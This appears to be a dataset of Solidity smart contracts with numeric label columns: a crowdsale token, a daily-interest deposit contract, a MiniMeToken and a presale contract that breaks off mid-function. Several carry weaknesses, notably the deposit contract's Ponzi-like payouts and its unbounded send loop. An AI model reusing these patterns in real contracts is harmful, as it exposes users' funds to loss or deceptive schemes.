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pragma solidity ^0.4.18;
contract SafeMathLib {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint c = a + b;
assert(c>=a);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint8 public decimals;
}
contract StandardToken is ERC20, SafeMathLib {
event Minted(address receiver, uint256 amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= _allowance);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) public {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value != 0);
balances[msg.sender] = safeSub(balances[msg.sender],value);
totalSupply = safeSub(totalSupply,value);
totalUpgraded = safeAdd(totalUpgraded,value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(canUpgrade());
require(agent != 0x0);
require(msg.sender == upgradeMaster);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public view returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Mint(address indexed to, uint256 amount);
function mint(address receiver, uint256 amount) onlyMintAgent canMint public returns(bool){
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Mint(receiver, amount);
Transfer(0, receiver, amount);
return true;
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint8 public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals, bool _mintable)
public
UpgradeableToken(msg.sender)
{
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
require(totalSupply != 0);
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract FinalizeAgent {
function isFinalizeAgent() public pure returns(bool) {
return true;
}
function isSane() public view returns (bool);
function finalizeCrowdsale() public ;
}
contract PricingStrategy {
function isPricingStrategy() public pure returns (bool) {
return true;
}
function isSane(address crowdsale) public view returns (bool) {
return true;
}
function calculatePrice(uint256 value, uint256 weiRaised, uint256 tokensSold, address msgSender, uint256 decimals) public constant returns (uint256 tokenAmount);
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Allocatable is Ownable {
mapping (address => bool) public allocateAgents;
event AllocateAgentChanged(address addr, bool state );
function setAllocateAgent(address addr, bool state) onlyOwner public {
allocateAgents[addr] = state;
AllocateAgentChanged(addr, state);
}
modifier onlyAllocateAgent() {
require(allocateAgents[msg.sender]);
_;
}
}
contract Crowdsale is Allocatable, Haltable, SafeMathLib {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint256 public minimumFundingGoal;
uint256 public startsAt;
uint256 public endsAt;
uint256 public tokensSold = 0;
uint256 public weiRaised = 0;
uint256 public investorCount = 0;
uint256 public loadedRefund = 0;
uint256 public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint256 public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount, uint128 customerId);
event Refund(address investor, uint256 weiAmount);
event InvestmentPolicyChanged(bool requireCustId, bool requiredSignedAddr, address signerAddr);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint256 endAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet,
uint256 _start, uint256 _end, uint256 _minimumFundingGoal) public {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
require(multisigWallet != 0);
require(_start != 0);
startsAt = _start;
require(_end != 0);
endsAt = _end;
require(startsAt < endsAt);
minimumFundingGoal = _minimumFundingGoal;
}
function() payable public {
require(false);
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else if(getState() == State.Funding) {
} else {
require(false);
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
require(multisigWallet.send(weiAmount));
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint256 tokenAmount, uint256 weiPrice) public onlyAllocateAgent {
uint256 weiAmount = (weiPrice * tokenAmount)/10**uint256(token.decimals());
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
require(!requiredSignedAddress);
require(customerId != 0);
investInternal(addr, customerId);
}
function invest(address addr) public payable {
require(!requireCustomerId);
require(!requiredSignedAddress);
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized);
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
finalizeAgent = addr;
require(finalizeAgent.isFinalizeAgent());
}
function setRequireCustomerId(bool value) public onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) public onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) public onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
pricingStrategy = _pricingStrategy;
require(pricingStrategy.isPricingStrategy());
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value != 0);
loadedRefund = safeAdd(loadedRefund,msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue != 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded,weiValue);
Refund(msg.sender, weiValue);
require(msg.sender.send(weiValue));
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) public onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public pure returns (bool) {
return true;
}
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract BonusFinalizeAgent is FinalizeAgent, SafeMathLib {
CrowdsaleToken public token;
Crowdsale public crowdsale;
uint256 public totalMembers;
uint256 public allocatedBonus;
mapping (address=>uint256) bonusOf;
address[] public teamAddresses;
function BonusFinalizeAgent(CrowdsaleToken _token, Crowdsale _crowdsale, uint256[] _bonusBasePoints, address[] _teamAddresses) public {
token = _token;
crowdsale = _crowdsale;
require(address(crowdsale) != 0);
require(_bonusBasePoints.length == _teamAddresses.length);
totalMembers = _teamAddresses.length;
teamAddresses = _teamAddresses;
for (uint256 i=0;i<totalMembers;i++) {
require(_bonusBasePoints[i] != 0);
}
for (uint256 j=0;j<totalMembers;j++) {
require(_teamAddresses[j] != 0);
bonusOf[_teamAddresses[j]] = _bonusBasePoints[j];
}
}
function isSane() public view returns (bool) {
return (token.mintAgents(address(this)) == true) && (token.releaseAgent() == address(this));
}
function finalizeCrowdsale() public {
require(msg.sender == address(crowdsale));
uint tokensSold = crowdsale.tokensSold();
for (uint256 i=0;i<totalMembers;i++) {
allocatedBonus = safeMul(tokensSold, bonusOf[teamAddresses[i]]) / 10000;
token.mint(teamAddresses[i], allocatedBonus);
}
token.releaseTokenTransfer();
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy,
address _multisigWallet, uint256 _start, uint256 _end, uint256 _minimumFundingGoal, uint256 _weiCap)
Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) public
{
weiCap = _weiCap;
}
function isBreakingCap(uint256 weiAmount, uint256 tokenAmount, uint256 weiRaisedTotal, uint256 tokensSoldTotal) public constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint256 tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract EthTranchePricing is PricingStrategy, Ownable, SafeMathLib {
uint public constant MAX_TRANCHES = 10;
mapping (address => uint256) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) public {
require(!(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2));
trancheCount = _tranches.length / 2;
uint256 highestAmount = 0;
for(uint256 i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
require(!((highestAmount != 0) && (tranches[i].amount <= highestAmount)));
highestAmount = tranches[i].amount;
}
require(tranches[0].amount == 0);
require(tranches[trancheCount-1].price == 0);
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint256 n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public view returns(bool) {
return true;
}
function getCurrentTranche(uint256 weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint256 weiRaised) public constant returns (uint256 result) {
return getCurrentTranche(weiRaised).price;
}
function calculatePrice(uint256 value, uint256 weiRaised, uint256 tokensSold, address msgSender, uint256 decimals) public constant returns (uint256) {
uint256 multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return safeMul(value, multiplier) / preicoAddresses[msgSender];
}
uint256 price = getCurrentPrice(weiRaised);
return safeMul(value, multiplier) / price;
}
function() payable public {
revert();
}
} | 0 | 59 |
pragma solidity ^0.4.11;
contract BLOCKCHAIN_DEPOSIT_BETA {
uint constant PAYOUT_INTERVAL = 1 days;
uint constant DEPONENT_INTEREST= 10;
uint constant INTEREST_DENOMINATOR = 1000;
event Payout(uint paidPeriods, uint depositors);
struct Depositor
{
address etherAddress;
uint deposit;
uint depositTime;
}
modifier founderOnly { if (msg.sender == contract_founder) _; }
address private contract_founder;
uint private contract_latestPayoutTime;
Depositor[] private contract_depositors;
function BLOCKCHAIN_DEPOSIT_BETA()
{
contract_founder = msg.sender;
contract_latestPayoutTime = now;
}
function() payable
{
addDepositor();
}
function Make_Deposit() payable
{
addDepositor();
}
function status() constant returns (uint deposit_fond_sum, uint depositorsCount, uint unpaidTime, uint unpaidIntervals)
{
deposit_fond_sum = this.balance;
depositorsCount = contract_depositors.length;
unpaidTime = now - contract_latestPayoutTime;
unpaidIntervals = unpaidTime / PAYOUT_INTERVAL;
}
function performPayouts()
{
uint paidPeriods = 0;
uint depositorsDepositPayout;
while(contract_latestPayoutTime + PAYOUT_INTERVAL < now)
{
uint idx;
for (idx = contract_depositors.length; idx-- > 0; )
{
if(contract_depositors[idx].depositTime > contract_latestPayoutTime + PAYOUT_INTERVAL)
continue;
uint payout = (contract_depositors[idx].deposit * DEPONENT_INTEREST) / INTEREST_DENOMINATOR;
if(!contract_depositors[idx].etherAddress.send(payout))
throw;
depositorsDepositPayout += payout;
}
contract_latestPayoutTime += PAYOUT_INTERVAL;
paidPeriods++;
}
Payout(paidPeriods, depositorsDepositPayout);
}
function addDepositor() private
{
contract_depositors.push(Depositor(msg.sender, msg.value, now));
}
function changeFounderAddress(address newFounder) founderOnly
{
contract_founder = newFounder;
}
} | 0 | 1,211 |
pragma solidity ^0.4.11;
contract ERC20 {
function transfer(address _to, uint256 _amount) returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
function approve(address _spender, uint256 _amount) returns (bool success);
function allowance(address _owner, address _spender
) constant returns (uint256 remaining);
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success);
function totalSupply() constant returns (uint);
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (!transfersEnabled) throw;
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
if (!transfersEnabled) throw;
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
if (parentSnapShotBlock >= block.number) throw;
if ((_to == 0) || (_to == address(this))) throw;
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
if (previousBalanceTo + _amount < previousBalanceTo) throw;
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
if (!transfersEnabled) throw;
if ((_amount!=0) && (allowed[msg.sender][_spender] !=0)) throw;
if (isContract(controller)) {
if (!TokenController(controller).onApprove(msg.sender, _spender, _amount))
throw;
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
if (!approve(_spender, _amount)) throw;
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = getValueAt(totalSupplyHistory, block.number);
if (curTotalSupply + _amount < curTotalSupply) throw;
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
var previousBalanceTo = balanceOf(_owner);
if (previousBalanceTo + _amount < previousBalanceTo) throw;
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = getValueAt(totalSupplyHistory, block.number);
if (curTotalSupply < _amount) throw;
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
var previousBalanceFrom = balanceOf(_owner);
if (previousBalanceFrom < _amount) throw;
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
if (isContract(controller)) {
if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender))
throw;
} else {
throw;
}
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint256 balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PreSale is Controlled, TokenController {
using SafeMath for uint256;
uint256 constant public exchangeRate = 1;
uint256 constant public investor_bonus = 25;
MiniMeToken public wct;
address public preSaleWallet;
uint256 public totalSupplyCap;
uint256 public totalSold;
uint256 public minimum_investment;
uint256 public startBlock;
uint256 public endBlock;
uint256 public initializedBlock;
uint256 public finalizedBlock;
bool public paused;
bool public transferable;
modifier initialized() {
assert(initializedBlock != 0);
_;
}
modifier contributionOpen() {
assert(getBlockNumber() >= startBlock &&
getBlockNumber() <= endBlock &&
finalizedBlock == 0);
_;
}
modifier notPaused() {
require(!paused);
_;
}
function PreSale(address _wct) {
require(_wct != 0x0);
wct = MiniMeToken(_wct);
}
function initialize(
address _preSaleWallet,
uint256 _totalSupplyCap,
uint256 _minimum_investment,
uint256 _startBlock,
uint256 _endBlock
) public onlyController {
require(initializedBlock == 0);
assert(wct.totalSupply() == 0);
assert(wct.controller() == address(this));
assert(wct.decimals() == 18);
require(_preSaleWallet != 0x0);
preSaleWallet = _preSaleWallet;
assert(_startBlock >= getBlockNumber());
require(_startBlock < _endBlock);
startBlock = _startBlock;
endBlock = _endBlock;
require(_totalSupplyCap > 0);
totalSupplyCap = _totalSupplyCap;
minimum_investment = _minimum_investment;
initializedBlock = getBlockNumber();
Initialized(initializedBlock);
}
function () public payable notPaused {
proxyPayment(msg.sender);
}
function proxyPayment(address _th) public payable notPaused initialized contributionOpen returns (bool) {
require(_th != 0x0);
doBuy(_th);
return true;
}
function onTransfer(address, address, uint256) public returns (bool) {
return transferable;
}
function onApprove(address, address, uint256) public returns (bool) {
return transferable;
}
function doBuy(address _th) internal {
require(msg.value >= minimum_investment);
address caller;
if (msg.sender == address(wct)) {
caller = _th;
} else {
caller = msg.sender;
}
assert(!isContract(caller));
uint256 toFund = msg.value;
uint256 leftForSale = tokensForSale();
if (toFund > 0) {
if (leftForSale > 0) {
uint256 tokensGenerated = toFund.mul(exchangeRate);
if (tokensGenerated > leftForSale) {
tokensGenerated = leftForSale;
